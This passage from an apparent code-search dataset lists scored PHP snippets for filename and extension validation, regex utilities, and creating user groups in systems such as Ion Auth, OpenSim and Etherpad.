\r\n if ($value == $file_ext) { \r\n $valid_extension = true; // set to true if a match...\r\n } \r\n } \r\n \r\n if ($valid_extension) { \r\n return true; // return true if any matches...\r\n } else { \r\n\t\t $errno = 1;\r\n\t\t //$this->print_errors($errno);\r\n return false; \r\n } \r\n } \r\n } \r\n}", "title": "" }, { "docid": "9f043aad998b55644a2b749ff91aab19", "score": "0.5285425", "text": "public function getSanitizeRegex(): string\n {\n return self::SANITIZE_REGEX[$this->sanitizeLevel];\n }", "title": "" }, { "docid": "60a7827d5110513d1652c3ee66f319a0", "score": "0.5268735", "text": "function mb_ereg_match($pattern, $string, $option = null) {}", "title": "" }, { "docid": "163aa24f643cff00dc4943e7a01e3aa3", "score": "0.52675986", "text": "protected function getValidPattern(): string\n {\n $varOfThisTag = $this->getArgumentTokenOfTag();\n\n return '/(?P<type>[\\w|\\|\\[\\]]*) ?(?P<var>' . preg_quote($varOfThisTag['content'], '/') .\n ') ?(?P<desc>.*)/m';\n }", "title": "" }, { "docid": "4fd7c74a39c4c1b753cd35b16c1d07ad", "score": "0.526661", "text": "function filename_safe($filename) \n{\n$temp = $filename;\n// Lower case\n$temp = strtolower($temp);\n\n// Replace spaces with a '_'\n$temp = str_replace(\" \", \"_\", $temp);\n\n// Loop through string\n$result = '';\nfor ($i=0; $i<strlen($temp); $i++) \n{\nif (preg_match('([0-9]|[a-z]|_)', $temp[$i])) \n{\n$result = $result . $temp[$i];\n} \n}\n// Return filename\nreturn $result;\n}", "title": "" }, { "docid": "56166649fab73400485e65b01bea501a", "score": "0.5261424", "text": "public function validate_filename($name) {\n $parts = explode(\"~\", $name);\n\n $validation = Validation::factory($parts)\n ->rule(0, \"not_empty\")\n ->rule(0, \"digit\")\n ->rule(1, \"not_empty\")\n ->rule(1, \"alpha_numeric\")\n ->rule(1, \"equals\", array(\":value\", sha1_file($this->filename_to_path($name))));\n\n return $validation->check();\n }", "title": "" }, { "docid": "1fe509ac4a81fb62e8490973216f220f", "score": "0.52559566", "text": "function okfile($fn) {\n\t\tif (preg_match('|^[a-z0-9\\040\\-\\_\\.]+$|i', $fn) && substr($fn, 0, 1) <> ' ' && substr($fn, -1) <> ' ' && strlen($fn) != 0) {\n\t\t\treturn true;\n\t\t} else { return false; }\n\t}", "title": "" }, { "docid": "eb23127e2916bfa46bcae35f963aa6a9", "score": "0.52346504", "text": "function valid_url($url) {\n return preg_match(\"/^[a-zA-z0-9\\/:_\\-_\\.,]+$/\", $url);\n}", "title": "" }, { "docid": "b650a01662a64d25ab02f48975a09a90", "score": "0.5223162", "text": "protected function whiteListRegularExpressionFileFilter() {\n\t\t$compositeWhiteList = array();\n\t\t//read whitelist terms from whiteList asset files\n\t\tforeach ($this->whiteListRegularExpressionFile as $v) {\n\t\t\t$filePathName = $this->extensionAssetUrl . DIRECTORY_SEPARATOR . $v;\n\t\t\tif (file_exists($filePathName)) {\n\t\t\t\t$compositeWhiteList = array_merge($compositeWhiteList, file($filePathName, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES));\n\t\t\t} else {\n\t\t\t\tthrow new CException(Yii::t('yii', 'Whitelist Regular Expression File \"{file}\" not found in {method}.',\n\t\t\t\t\t\t\t\t\t\t\tarray('{method}'=>__METHOD__, '{file}'=>$filePathName)));\n\t\t\t}\n\t\t}\n\t\t$this->whiteListRegularExpressionRemovalUtility($compositeWhiteList, true);\n\t}", "title": "" }, { "docid": "50bacfc1d79141db99ce6dd360270fd6", "score": "0.52211577", "text": "public function getRewriteRuleRegex() {\n\t\t// Get the regex of the compiled route\n\t\t$routeRegex = $this->getCompiled()->getRegex();\n\t\t// Remove the first part (#^/) of the regex because WordPress adds this already by itself\n\t\t$routeRegex = preg_replace( '/^\\#\\^\\//', '^', $routeRegex );\n\t\t// Remove the modifiers of the regex because WordPress adds this already by itself\n\t\t$routeRegex = preg_replace( '/\\$\\#.*$/', '$', $routeRegex );\n\n\t\treturn $routeRegex;\n\t}", "title": "" }, { "docid": "8430f062885d2d212c4c23f0a365d0ab", "score": "0.52189136", "text": "function validate_file( $file, $allowed_files = '' ) {\n\tif ( false !== strpos( $file, '..' ) )\n\t\treturn 1;\n\n\tif ( false !== strpos( $file, './' ) )\n\t\treturn 1;\n\n\tif ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files ) )\n\t\treturn 3;\n\n\tif (':' == substr( $file, 1, 1 ) )\n\t\treturn 2;\n\n\treturn 0;\n}", "title": "" }, { "docid": "8430f062885d2d212c4c23f0a365d0ab", "score": "0.52189136", "text": "function validate_file( $file, $allowed_files = '' ) {\n\tif ( false !== strpos( $file, '..' ) )\n\t\treturn 1;\n\n\tif ( false !== strpos( $file, './' ) )\n\t\treturn 1;\n\n\tif ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files ) )\n\t\treturn 3;\n\n\tif (':' == substr( $file, 1, 1 ) )\n\t\treturn 2;\n\n\treturn 0;\n}", "title": "" }, { "docid": "144401086078b81f5a4c265181e83770", "score": "0.5218864", "text": "public function getAcceptableFilename($filename) {\n\t\treturn str_replace(array_keys(self::REPLACE_IN_FILENAME), array_values(self::REPLACE_IN_FILENAME), $filename);\n\t}", "title": "" }, { "docid": "29dd792847da5353e25663c19ab09557", "score": "0.5211564", "text": "protected function extractRegex()\n {\n // PHP only supports $this inside anonymous functions since 5.4\n $minifier = $this;\n $callback = function ($match) use ($minifier) {\n $count = count($minifier->extracted);\n $placeholder = '\"'.$count.'\"';\n $minifier->extracted[$placeholder] = $match[0];\n\n return $placeholder;\n };\n\n // match all chars except `/` and `\\`\n // `\\` is allowed though, along with whatever char follows (which is the\n // one being escaped)\n // this should allow all chars, except for an unescaped `/` (= the one\n // closing the regex)\n // then also ignore bare `/` inside `[]`, where they don't need to be\n // escaped: anything inside `[]` can be ignored safely\n $pattern = '\\\\/(?!\\*)(?:[^\\\\[\\\\/\\\\\\\\\\n\\r]++|(?:\\\\\\\\.)++|(?:\\\\[(?:[^\\\\]\\\\\\\\\\n\\r]++|(?:\\\\\\\\.)++)++\\\\])++)++\\\\/[gimuy]*';\n\n // a regular expression can only be followed by a few operators or some\n // of the RegExp methods (a `\\` followed by a variable or value is\n // likely part of a division, not a regex)\n $keywords = array('do', 'in', 'new', 'else', 'throw', 'yield', 'delete', 'return', 'typeof');\n $before = '([=:,;\\+\\-\\*\\/\\}\\(\\{\\[&\\|!]|^|'.implode('|', $keywords).')\\s*';\n $propertiesAndMethods = array(\n // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp#Properties_2\n 'constructor',\n 'flags',\n 'global',\n 'ignoreCase',\n 'multiline',\n 'source',\n 'sticky',\n 'unicode',\n // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp#Methods_2\n 'compile(',\n 'exec(',\n 'test(',\n 'toSource(',\n 'toString(',\n );\n $delimiters = array_fill(0, count($propertiesAndMethods), '/');\n $propertiesAndMethods = array_map('preg_quote', $propertiesAndMethods, $delimiters);\n $after = '(?=\\s*([\\.,;\\)\\}&\\|+]|\\/\\/|$|\\.('.implode('|', $propertiesAndMethods).')))';\n $this->registerPattern('/'.$before.'\\K'.$pattern.$after.'/', $callback);\n\n // regular expressions following a `)` are rather annoying to detect...\n // quite often, `/` after `)` is a division operator & if it happens to\n // be followed by another one (or a comment), it is likely to be\n // confused for a regular expression\n // however, it's perfectly possible for a regex to follow a `)`: after\n // a single-line `if()`, `while()`, ... statement, for example\n // since, when they occur like that, they're always the start of a\n // statement, there's only a limited amount of ways they can be useful:\n // by calling the regex methods directly\n // if a regex following `)` is not followed by `.<property or method>`,\n // it's quite likely not a regex\n $before = '\\)\\s*';\n $after = '(?=\\s*\\.('.implode('|', $propertiesAndMethods).'))';\n $this->registerPattern('/'.$before.'\\K'.$pattern.$after.'/', $callback);\n\n // 1 more edge case: a regex can be followed by a lot more operators or\n // keywords if there's a newline (ASI) in between, where the operator\n // actually starts a new statement\n // (https://github.com/matthiasmullie/minify/issues/56)\n $operators = $this->getOperatorsForRegex($this->operatorsBefore, '/');\n $operators += $this->getOperatorsForRegex($this->keywordsReserved, '/');\n $after = '(?=\\s*\\n\\s*('.implode('|', $operators).'))';\n $this->registerPattern('/'.$pattern.$after.'/', $callback);\n }", "title": "" }, { "docid": "51c977ac094e50f067e37ee1c265b58b", "score": "0.52013874", "text": "public function getUpdateFileNamePatterns();", "title": "" }, { "docid": "4fb90ba39d74fbf9adfa25d840a2e17d", "score": "0.51969445", "text": "public function is_regex() {\n\t\treturn $this->flag_regex;\n\t}", "title": "" }, { "docid": "5262246f87357fd386e738a548242d71", "score": "0.51851326", "text": "public function validate_regexusername(){\n if (!preg_match(\"/^[[:alnum:]_]+$/\", $this->text) && !empty($this->text)){\n $this->output = \"only letters, numbers and underscores allowed\";\n $this->setError();\n return $this->output;\n }\n }", "title": "" }, { "docid": "4c9452363a8c875a80764c384040aaf4", "score": "0.5179296", "text": "function isNameValid($name) {\n return preg_match(NAME, $name);\n}", "title": "" }, { "docid": "d9dabcbc84b534f340304b812ab1395a", "score": "0.5178236", "text": "public function validExt($filename){\r\n $exts = $this->config['ext'];\r\n $ext = $this->getExtension($filename);\r\n if(array_search($ext,$exts)===false){\r\n return false;\r\n }else{\r\n return true;\r\n }\r\n\r\n\r\n }", "title": "" }, { "docid": "b604ba274263123d0926db1d4146283e", "score": "0.51762694", "text": "public function sanitizeFilename($filename)\n {\n if (preg_match(\"/.*[\\/\\\\\\\\](.*)$/\", $filename, $match)) {\n return $match[1];\n } else {\n return $filename;\n }\n }", "title": "" }, { "docid": "b604ba274263123d0926db1d4146283e", "score": "0.51762694", "text": "public function sanitizeFilename($filename)\n {\n if (preg_match(\"/.*[\\/\\\\\\\\](.*)$/\", $filename, $match)) {\n return $match[1];\n } else {\n return $filename;\n }\n }", "title": "" }, { "docid": "9b46c347b8868e13df5038c78a89188e", "score": "0.5175992", "text": "function in_file_filter($name) {\t\t\n\t\tforeach($this->files_reg as $reg) {\n\t\t\tif (@preg_match($reg,$name)) return true;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "c72f852231a1862a7334e7047629a969", "score": "0.51752055", "text": "private function checkExt()\n {\n $file_ext = strtolower( pathinfo($this->file_name, PATHINFO_EXTENSION) );\n\n //extensions not allowed for security reason and check if is allowed extension\n if(in_array($file_ext, $this->deny_ext) || (!in_array($file_ext, $this->allow_ext) && count($this->allow_ext)) )\n {\n return false;\n }\n return true;\n }", "title": "" } ]
bcf94d3694dcfc171ad64077e9832f3b
Create group to be used to assign new group to manager
[ { "docid": "faa71817a201d29f53232e6c9effcbe8", "score": "0.8017643", "text": "public function createGroup() {\n $manager = $_GET['id'];\n if ($_SERVER['REQUEST_METHOD'] == \"POST\") {\n $this->model->createGroup($manager);\n header('Location: ' . BASEURL . 'admin/viewGroups/' . $manager);\n } else {\n $this->view->output($this->model->createGroupForm($manager));\n }\n }", "title": "" } ]
[ { "docid": "db58b20924ebbbcc055f3884257b78fe", "score": "0.83254933", "text": "public function createGroup();", "title": "" }, { "docid": "8e50346ab12a3053e723ab4fbc6c090c", "score": "0.7918442", "text": "public function createGroup() {\n\t\t$cmd = new EtherpadLiteCommand(\"createGroup\");\n\t\t$data = $this -> executeEtherpadQuery($cmd);\n\t\treturn $data -> groupID;\n\t}", "title": "" }, { "docid": "66b0708b0e47e7040e99b6a27b4c72b8", "score": "0.7746027", "text": "public function account_manager_create_accounts_group() {\n \n // Create a new group\n (new MidrubBaseUserAppsCollectionPostsHelpers\\Groups)->save_group();\n \n }", "title": "" }, { "docid": "da1aaefa7154b0667353d2d2ba6df05e", "score": "0.756221", "text": "public function createGroup( $group )\n\t{\n\t\t$this->model->create($group);\n\t}", "title": "" }, { "docid": "693504598651d6b246f1f7c9e8457082", "score": "0.7452244", "text": "function createGroup()\r\n {\r\n\t\tglobal $mainframe, $Itemid, $database, $my, $params, $smartyps, $option, $Itemid;\r\n\t\t$c = hwd_ps_Config::get_instance();\r\n\r\n\t\t// load the menu name\r\n\t\tjimport( 'joomla.application.menu' );\r\n\t\t$menu = &JMenu::getInstance('site');\r\n\t\t$active = &$menu->getActive();\r\n\t\tif (!empty($active->name)) {$metatitle = $active->name;} else {$metatitle = _HWDPS_META_DEFAULT;}\r\n\t\t// set the page/meta title\r\n\t\t$mainframe->setPageTitle( $metatitle );\r\n\t\t$mainframe->addMetaTag( 'title' , $metatitle );\r\n\t\thwd_ps_tools::generateActiveLink(3);\r\n\t\t// define javascript\r\n\t\thwd_ps_javascript::checkaddgroupform();\r\n\r\n\t\t$form_add_group = JURI::root(true).\"/index.php?option=com_hwdphotoshare&amp;Itemid=\".$Itemid.\"&amp;task=savegroup\";\r\n\t\t$smartyps->assign(\"form_add_group\", $form_add_group);\r\n\t\t$captcha = hwd_ps_tools::generateCaptcha();\r\n\t\t$smartyps->assign(\"captcha\", $captcha);\r\n\r\n\t\t$smartyps->display('group_add.tpl');\r\n\t\treturn;\r\n }", "title": "" }, { "docid": "ac2c2c96815cdca474e085217dec12f3", "score": "0.73462373", "text": "public function createGroup()\r\n\t{\r\n\t\t$inst = $this->_gHandler->create();\r\n\t\treturn $inst;\r\n\t}", "title": "" }, { "docid": "9f5c25ac5a5c488bdce53d788a7ab1ba", "score": "0.7207408", "text": "function d4os_io_db_os_groups_services_createGroup($params) {\n $groupID = $params[\"GroupID\"];\n $name = addslashes( $params[\"Name\"] );\n $charter = addslashes( $params[\"Charter\"] );\n $insigniaID = $params[\"InsigniaID\"];\n $founderID = $params[\"FounderID\"];\n $membershipFee = $params[\"MembershipFee\"];\n $openEnrollment = $params[\"OpenEnrollment\"];\n $showInList = $params[\"ShowInList\"];\n $allowPublish = $params[\"AllowPublish\"];\n $maturePublish = $params[\"MaturePublish\"];\n $ownerRoleID = $params[\"OwnerRoleID\"];\n $everyonePowers = $params[\"EveryonePowers\"];\n $ownersPowers = $params[\"OwnersPowers\"];\n\n // Create group\n $sql = \"INSERT INTO {osgroup} ( \"\n .\"GroupID, \" // 1\n .\"Name, \" // 2\n .\"Charter, \" // 3\n .\"InsigniaID, \" // 4\n .\"FounderID, \" // 5\n .\"MembershipFee, \" // 6\n .\"OpenEnrollment, \" // 7\n .\"ShowInList, \" // 8\n .\"AllowPublish, \" // 9\n .\"MaturePublish, \" // 10\n .\"OwnerRoleID \" // 11\n .\") VALUES (\"\n .\"'%s', \" // 1 GroupID\n .\"'%s', \" // 2 Name\n .\"'%s', \" // 3 Charter\n .\"'%s', \" // 4 InsigniaID\n .\"'%s', \" // 5 FounderID\n .\"%d, \" // 6 MembershipFee\n .\"%d, \" // 7 OpenEnrollment\n .\"%d, \" // 8 ShowInList\n .\"%d, \" // 9 AllowPublish\n .\"%d, \" // 10 MaturePublish\n .\"'%s'\" // 11 OwnerRoleID\n .\")\";\n $values = array($groupID, $name, $charter, $insigniaID, $founderID, $membershipFee, $openEnrollment, $showInList, $allowPublish, $maturePublish, $ownerRoleID);\n\n d4os_io_db_set_active('os_groups');\n if (!db_query($sql, $values)) {\n d4os_io_db_set_active('default');\n return array(\n 'error' => t(\"Could not successfully run query (!sql) from DB: \", array('!sql' => $sql)) . db_error(),\n 'params' => var_export($params, TRUE)\n );\n }\n d4os_io_db_set_active('default');\n\n // Create Everyone Role\n // NOTE: FIXME: This is a temp fix until the libomv enum for group powers is fixed in OpenSim\n $params = array(\n 'GroupID' => $groupID,\n 'RoleID' => UUID_ZERO,\n 'Name' => 'Everyone',\n 'Description' => t('Everyone in the group is in the everyone role.'),\n 'Title' => \"Member of $name\",\n 'Powers' => $everyonePowers\n );\n $result = _d4os_io_services_groups_addRoleToGroup($params);\n if (isset($result['error'])) {\n return $result;\n }\n\n // Create Owner Role\n $params = array(\n 'GroupID' => $groupID,\n 'RoleID' => $ownerRoleID,\n 'Name' => 'Owners',\n 'Description' => t('Owners of !groupname', array('!groupname' => $name)),\n 'Title' => t('Owner of !groupname', array('!groupname' => $name)),\n 'Powers' => $ownersPowers\n );\n $result = _d4os_io_services_groups_addRoleToGroup($params);\n if (isset($result['error'])) {\n return $result;\n }\n\n // Add founder to group, will automatically place them in the Everyone Role, also places them in specified Owner Role\n $params = array(\n 'AgentID' => $founderID,\n 'GroupID' => $groupID,\n 'RoleID' => $ownerRoleID\n );\n $result = _d4os_io_services_groups_addAgentToGroup($params);\n if (isset($result['error'])) {\n return $result;\n }\n\n // Select the owner's role for the founder\n $params = array(\n 'AgentID' => $founderID,\n 'RoleID' => $ownerRoleID,\n 'GroupID' => $groupID\n );\n $result = _d4os_io_services_groups_setAgentGroupSelectedRole($params);\n if (isset($result['error'])) {\n return $result;\n }\n\n // Set the new group as the founder's active group\n $params = array(\n 'AgentID' => $founderID,\n 'GroupID' => $groupID\n );\n $result = _d4os_io_services_groups_setAgentActiveGroup($params);\n if (isset($result['error'])) {\n return $result;\n }\n\n // reload the created group\n $params = array(\n \"GroupID\"=>$groupID\n );\n return d4os_io_services_groups_getGroup($params);\n}", "title": "" }, { "docid": "edc5bd73fcd0b19d2e83ac1809d389b6", "score": "0.72067374", "text": "protected function createGroup() {\n\t\t$group = RegistrationGroup::create();\n\t\t$group->RegistrationID = $this->registration->ID;\n\t\t$group->TicketID = $this->selection->TicketID;\n\t\treturn $group;\n\t}", "title": "" }, { "docid": "895f47b73940d350c4683ed2c81e8da8", "score": "0.72060627", "text": "public function testCreateGroup()\n {\n $this->client->loginAsClient();\n $user = factory(User::class)->create();\n $user->addMembership($this->client->domain);\n $group = UserGroup::create(['name' => 'testGroup', 'permissions' => ['org-admin' => ['groups' => true]]]);\n DB::table('user_user_group')->insert(['user_id' => $user->id, 'user_group_id' => $group->id]);\n $this->be($user);\n\n $this->get('/auth/groups/create')->assertSee('CityNexus | Create New Group');\n }", "title": "" }, { "docid": "bdd473d2c4c23dfbf14aec069db3b1e3", "score": "0.71937716", "text": "public function createManager() {\n if ($_SERVER['REQUEST_METHOD'] == \"POST\") {\n $this->model->createManager();\n $manager = $_POST['moodle_user_id'];\n header('Location: ' . BASEURL . 'admin/createGroup/' . $manager);\n } else {\n $this->view->output($this->model->createManagerForm());\n }\n }", "title": "" }, { "docid": "76775c7de6f418db0ebee49067cc65de", "score": "0.71864367", "text": "public function createGroup($option) {\n\t}", "title": "" }, { "docid": "a343b0e47ed15b64ea65c509d93405c5", "score": "0.71848613", "text": "public function create_group()\n\t{\n\t\t$this->data['title'] = $this->lang->line('create_group_title');\n\n\t\tif (!$this->ion_auth->logged_in() || !$this->ion_auth->is_admin())\n\t\t{\n\t\t\tredirect('auth', 'refresh');\n\t\t}\n\n\t\t// validate form input\n\t\t$this->form_validation->set_rules('group_name', $this->lang->line('create_group_validation_name_label'), 'trim|required|alpha_dash');\n\n\t\tif ($this->form_validation->run() === TRUE)\n\t\t{\n\t\t\t$new_group_id = $this->ion_auth->create_group($this->input->post('group_name'), $this->input->post('description'));\n\t\t\tif ($new_group_id)\n\t\t\t{\n\t\t\t\t// check to see if we are creating the group\n\t\t\t\t// redirect them back to the admin page\n\t\t\t\t$this->session->set_flashdata('message', $this->ion_auth->messages());\n\t\t\t\tredirect(\"auth\", 'refresh');\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// display the create group form\n\t\t\t// set the flash data error message if there is one\n\t\t\t$this->data['message'] = (validation_errors() ? validation_errors() : ($this->ion_auth->errors() ? $this->ion_auth->errors() : $this->session->flashdata('message')));\n\n\t\t\t$this->data['group_name'] = array(\n\t\t\t\t'name' => 'group_name',\n\t\t\t\t'id' => 'group_name',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('group_name'),\n\t\t\t);\n\t\t\t$this->data['description'] = array(\n\t\t\t\t'name' => 'description',\n\t\t\t\t'id' => 'description',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('description'),\n\t\t\t);\n\n\t\t\t$this->_render_page('auth/create_group', $this->data);\n\t\t}\n\t}", "title": "" }, { "docid": "6997500f4149a3c710361ff85b4420b6", "score": "0.7181809", "text": "public function creategroup ($request) {\n\t\n\t\t// check for actions\n\t\tif ($request->set(\"action\") == \"create\") {\n\t\t\t$this->groupsModel->write($_REQUEST);\n\t\t\t$this->engine->setMessage($this->groupsModel->getMessage());\n\t\t}\n\t\t\n\t\t// output the page\n\t\t$this->engine->assign(\"form\", $this->groupsForm(\"create\"));\n\t\t$this->engine->display(\"members/creategroup.tpl\");\n\t\n\t}", "title": "" }, { "docid": "ad265b672d3c9f7beaae3b7ea8387759", "score": "0.71585995", "text": "public static function createGroup( $group_xml ) {\n\t\t// TODO: for now, this is just a stub function\n\t}", "title": "" }, { "docid": "ac3a622440d0076847e4b2d698062697", "score": "0.71507615", "text": "public function createGroup(array $group_data) {\r\n\t\treturn $this->provider->createGroup($group_data);\r\n\t}", "title": "" }, { "docid": "cfa2aed017510af9eed2cfe1ed108157", "score": "0.71418786", "text": "function create_group()\n {\n $this->data['title'] = $this->lang->line('create_group_title');\n\n if (!$this->ion_auth->logged_in() || !$this->ion_auth->is_admin())\n {\n redirect('auth', 'refresh');\n }\n\n //validate form input\n $this->form_validation->set_rules('group_name', $this->lang->line('create_group_validation_name_label'), 'required|alpha_dash|xss_clean');\n $this->form_validation->set_rules('description', $this->lang->line('create_group_validation_desc_label'), 'xss_clean');\n\n if ($this->form_validation->run() == TRUE)\n {\n $new_group_id = $this->ion_auth->create_group($this->input->post('group_name'), $this->input->post('description'));\n if($new_group_id)\n {\n // check to see if we are creating the group\n // redirect them back to the admin page\n $this->session->set_flashdata('message', $this->ion_auth->messages());\n redirect(\"auth\", 'refresh');\n }\n }\n else\n {\n //display the create group form\n //set the flash data error message if there is one\n $this->data['message'] = (validation_errors() ? validation_errors() : ($this->ion_auth->errors() ? $this->ion_auth->errors() : $this->session->flashdata('message')));\n\n $this->data['group_name'] = array(\n 'name' => 'group_name',\n 'id' => 'group_name',\n 'type' => 'text',\n 'value' => $this->form_validation->set_value('group_name'),\n );\n $this->data['description'] = array(\n 'name' => 'description',\n 'id' => 'description',\n 'type' => 'text',\n 'value' => $this->form_validation->set_value('description'),\n );\n\n $this->_render_page('auth/create_group', $this->data);\n }\n }", "title": "" }, { "docid": "07f82df8efe76bae1de023015737856c", "score": "0.711308", "text": "function create_group() {\n $data['subject'] = 'create';\n $data['title'] = $this->lang->line('create_group_title');\n\n if (!$this->ion_auth->logged_in()) {\n //redirect them to the login page\n redirect('signin/login', 'refresh');\n } else if ($this->ion_auth->has_permission(\"signin/signin\", 'create_group', $this->ion_auth->get_user_id())) {\n $loginUserId = $this->ion_auth->get_user_id();\n //validate form input\n $this->form_validation->set_rules('name', $this->lang->line('create_group_validation_name_label'), 'required|alpha_dash');\n\n if ($this->form_validation->run() == TRUE) {\n $additionalData = array(\n \"group_type\" => $this->input->post('group_type'),\n \"c_user_id\" => $loginUserId\n );\n \n $new_group_id = $this->ion_auth->create_group($this->input->post('name'), $this->input->post('description'), $additionalData);\n\n// if ($new_group_id) {\n// // check to see if we are creating the group\n// // redirect them back to the admin page\n// $this->session->set_flashdata('message', $this->ion_auth->messages());\n// //redirect(\"signin\", 'refresh');\n// redirect(\"signin/list_group\", 'refresh');\n// }\n if ($new_group_id) {\n $this->session->set_flashdata('message', $this->ion_auth->messages());\n redirect(\"signin/list_group\", 'refresh');\n }elseif($new_group_id == FALSE){\n $this->session->set_flashdata('error_message', $this->ion_auth->errors());\n redirect(\"signin/create_group\", 'refresh');\n }\n \n } else {\n //display the create group form\n //set the flash data error message if there is one\n $data['message'] = (validation_errors() ? validation_errors() : ($this->ion_auth->errors() ? $this->ion_auth->errors() : $this->session->flashdata('message')));\n\n $data['name'] = array(\n 'name' => 'name',\n 'id' => 'name',\n 'type' => 'text',\n 'value' => $this->form_validation->set_value('name'),\n );\n $data['description'] = array(\n 'name' => 'description',\n 'id' => 'description',\n 'type' => 'text',\n 'value' => $this->form_validation->set_value('description'),\n );\n\n $this->template->load('template', 'group_form', $data);\n //$this->_render_page('signin/group_form', $data);\n }\n } else { \n \n $this->session->set_flashdata('error_message', 'You Dont have permission to view this page.');\n redirect(\"signin/login\", 'refresh');\n }\n }", "title": "" }, { "docid": "492ace2fce7df3f1a6462b0109f380b6", "score": "0.71071094", "text": "public function makeGroup($group)\n\t{\n\t\t$this->openPage('/groups/add');\n\t\t$this->write('type', 'name', $group);\n\t\t$this->write('type', 'fullname', $group);\t\n\t\t$this->click('Add');\n\t\t$this->write('verifyTextPresent', $group);\n\t\t$this->openPage('/groups/members/' . $group);\n\t}", "title": "" }, { "docid": "fdd5156588ea88e400a4e36a0fa02bf7", "score": "0.7101523", "text": "function _NewGroup() {\n\t\t\t\n\t\t\t// Initialize a new instance of the formmaker\n\t\t\t$formMaker = new FormMaker($this->_Translation->GetTranslation('todo'), $this->_SqlConnection);\n\t\t\t$formMaker->AddForm('add_group', 'admin.php', $this->_Translation->GetTranslation('save'), $this->_Translation->GetTranslation('group'), 'post');\n\t\t\t\n\t\t\t$formMaker->AddHiddenInput('add_group', 'page', 'groups');\n\t\t\t$formMaker->AddHiddenInput('add_group', 'action', 'add_group');\n\t\t\t\n\t\t\t$formMaker->AddInput('add_group', 'group_name', 'text', $this->_Translation->GetTranslation('name'), $this->_Translation->GetTranslation('this_is_the_name_of_the_new_group'));\n\t\t\t$formMaker->AddInput('add_group', 'group_description', 'text', $this->_Translation->GetTranslation('description'), $this->_Translation->GetTranslation('this_is_a_description_of_the_new_group'));\n\t\t\t\n\t\t\t// Generate the template\n\t\t\t$template = \"\\r\\n\\t\\t\\t\\t\" . $formMaker->GenerateSingleFormTemplate($this->_ComaLate, false);\n\t\t\treturn $template;\n\t\t}", "title": "" }, { "docid": "25a08887ae11a3dfd5a2e4091fa336a4", "score": "0.7091851", "text": "function create_group(){\n\t\t//jika tidak login, redirect ke halaman login\n\t\tif (!$this->ion_auth->logged_in()){\n\t\t\tredirect('login', 'refresh');\n\t\t//jika tidak termasuk grup admin atau super_admin\n\t\t}elseif (!$this->ion_auth->in_group(array($this->config->item('super_admin_group', 'ion_auth'),$this->config->item('admin_group', 'ion_auth')))){\n\t\t\tshow_404();\n\t\t}\n\n\t\t//validate form input\n\t\t$this->form_validation->set_rules('group_name', $this->lang->line('create_group_validation_name_label'), 'required|alpha_dash|xss_clean');\n\t\t$this->form_validation->set_rules('description', $this->lang->line('create_group_validation_desc_label'), 'xss_clean');\n\n\t\tif ($this->form_validation->run() == TRUE){\n\t\t\t$new_group_id = $this->ion_auth->create_group($this->input->post('group_name'), $this->input->post('description'));\n\t\t\t\n\t\t\t$role_ids = $this->input->post('roles');\n\t\t\tif($new_group_id){\n\t\t\t\t$id=$this->db->insert_id();\n\t\t\t\tif (isset($role_ids) && !empty($role_ids)) {\n\t\t\t\t\tforeach($role_ids as $role_id){\t\t\t\t\t\t\n\t\t\t\t\t\t$dataInsert = array(\n\t\t\t\t\t\t\t'group_id' => $id,\n\t\t\t\t\t\t\t'role_id' => $role_id\t\t\t\t\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$this->load->model('m_auth');\n\t\t\t\t\t\t$this->m_auth->insert_groups_role($dataInsert);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($new_group_id){\n\t\t\t\t// check to see if we are creating the group\n\t\t\t\t// redirect them back to the admin page\n\t\t\t\t$this->session->set_flashdata('message', $this->ion_auth->messages());\n\t\t\t\tredirect(\"auth/groups\", 'refresh');\n\t\t\t}\n\t\t}else{\n\t\t\t//layout\n\t\t\t$this->layout->set_title('Tambah Grup Baru');\t\n\n\t\t\t//judul\n\t\t\t$this->data['primary_title'] = \"<i class='fa fa-fw fa-key'></i> Authentication\";\n \t$this->data['sub_primary_title'] = \"Access control settings\";\n\t\t\t//breadcrumb\n\t\t\t$this->load->library('breadcrumb');\n\t\t\t$this->breadcrumb->clear();\n\t $this->breadcrumb->add_crumb('Dashboard', site_url('admin'));\n\t $this->breadcrumb->add_crumb('Authentication', site_url('auth'));\n\t $this->breadcrumb->add_crumb('Users Groups', site_url('auth/groups'));\n\t $this->breadcrumb->add_crumb('Create Users Groups');\n\n\t\t\t//display the create group form\n\t\t\t//set the flash data error message if there is one\n\t\t\t$this->data['message'] = (validation_errors() ? validation_errors() : ($this->ion_auth->errors() ? $this->ion_auth->errors() : $this->session->flashdata('message')));\n\t\t\t\n\t\t\t$this->load->model('m_auth');\n\t\t\t$this->data['roles'] = $this->m_auth->get_roles();\n\n\t\t\t$this->data['group_name'] = array(\n\t\t\t\t'name' => 'group_name',\n\t\t\t\t'id' => 'group_name',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('group_name'),\n\t\t\t\t'class' => 'form-control input-sm',\n\t\t\t\t'placeholder' => 'Nama Grup',\n\t\t\t);\n\t\t\t$this->data['description'] = array(\n\t\t\t\t'name' => 'description',\n\t\t\t\t'id' => 'description',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('description'),\n\t\t\t\t'class' => 'form-control input-sm',\n\t\t\t\t'placeholder' => 'Deskripsi Grup',\n\t\t\t);\n\n\t\t\t$this->layout->back('auth/create_group', $this->data);\n\t\t}\n\t}", "title": "" }, { "docid": "17dd3cd9045d232cc93ddff3c5af59af", "score": "0.70523757", "text": "protected abstract static function add_group(): void;", "title": "" }, { "docid": "031daa9ea01b09b66d4eff681318bf48", "score": "0.70471805", "text": "protected function createEntity()\n {\n $data = [\n 'name' => 'group'.uniqid(),\n 'displayName' => 'A New Property Group',\n 'displayOrder' => 7,\n ];\n\n return $this->endpoint->createGroup($data);\n }", "title": "" }, { "docid": "c9c5b41ddb6f565b622af7de2be70633", "score": 